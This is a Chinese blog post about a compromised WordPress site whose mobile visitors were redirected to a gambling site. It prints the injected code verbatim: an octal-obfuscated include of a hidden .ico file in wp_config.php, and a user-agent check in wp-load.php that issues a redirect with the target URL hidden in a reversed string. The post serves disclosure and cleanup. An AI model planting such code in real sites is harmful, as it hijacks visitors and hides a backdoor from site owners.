游子的一位好朋友反馈说网站PC版访问没问题,手机访问就会被恶意跳转到一个博彩网站。
经过游子分析,排除了是被DNS劫持的可能性,在抓包加载的时候,header Status Code 返回的是302状态,网站启用了https设置了301 http跳转到 https 排除了DNS劫持那么问题就好解决了。
分析了一下WordPress代码原来是程序文件被感染了,在 wp_config.php wp-load.php 文件中都有恶意代码,下面是恶意代码曝光:
wp_config.php 文件中的恶意代码
/*58896*/ @include "\057ho\155e/\172bw\145b/\144om\141in\163/z\150an\147bo\056or\147/p\165bl\151c_\150tm\154/i\155zh\141ng\057wp\055ad\155in\057in\143lu\144es\057.2\065d0\143d4\061.i\143o"; /*58896*/
wp-load.php 文件中的恶意代码
if(preg_match('/(mobile|ipod|iphone|up.link|mmp|smartphone|o2|pocket|kindle|treo|nokia|blackberry|pre\/0.1|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i',$_SERVER['HTTP_USER_AGENT']) && $_COOKIE["m_"] != 1) {@setcookie('m_', '1', time()+3600, '/'); @header(strrev('46z'.'t3'.'a9y'.'/moc'.'.lr'.'uyn'.'it'.'//:pt'.'th :noi'.'tac'.'oL')); die();}
不难看出,wp-load.php 文件中写的就是判断手机端设备访问跳转到@header的URL。
清理恶意代码,问题解决!如果你的网站也有遇到手机端访问网站的时候被恶意跳转,可以参考此文章看看,是不是程序文件不干净了,被恶意写入了代码。
黑客真的是无孔不入呀,什么网站都不放过,有漏洞就钻!建议使用WP的童鞋,切记不要乱安装来路不明的主题、插件,要通过正规渠道下载获取,插件只安装WP后台搜索出来的,这里的插件有保障!类似于苹果应用商店的 APP Store 上架的插件都经过安全校验。
至于网上流传的主题,可以说90%以上都是有后门的,后门无非是上传漏洞,获得网站的控制权,植入木马!有些网站是专业盗版倒卖份子,请不要联系他们帮助你们处理网站问题,一旦他们进入到你的服务器或网站后台,你们的所有有价值的东西(主题、插件、内容、用户信息等等)都会被他们拿走,更有甚者,为了后续更方便获取你们网站的东西,还会“神不知鬼不觉”地留下后门程序!
这不是危言耸听!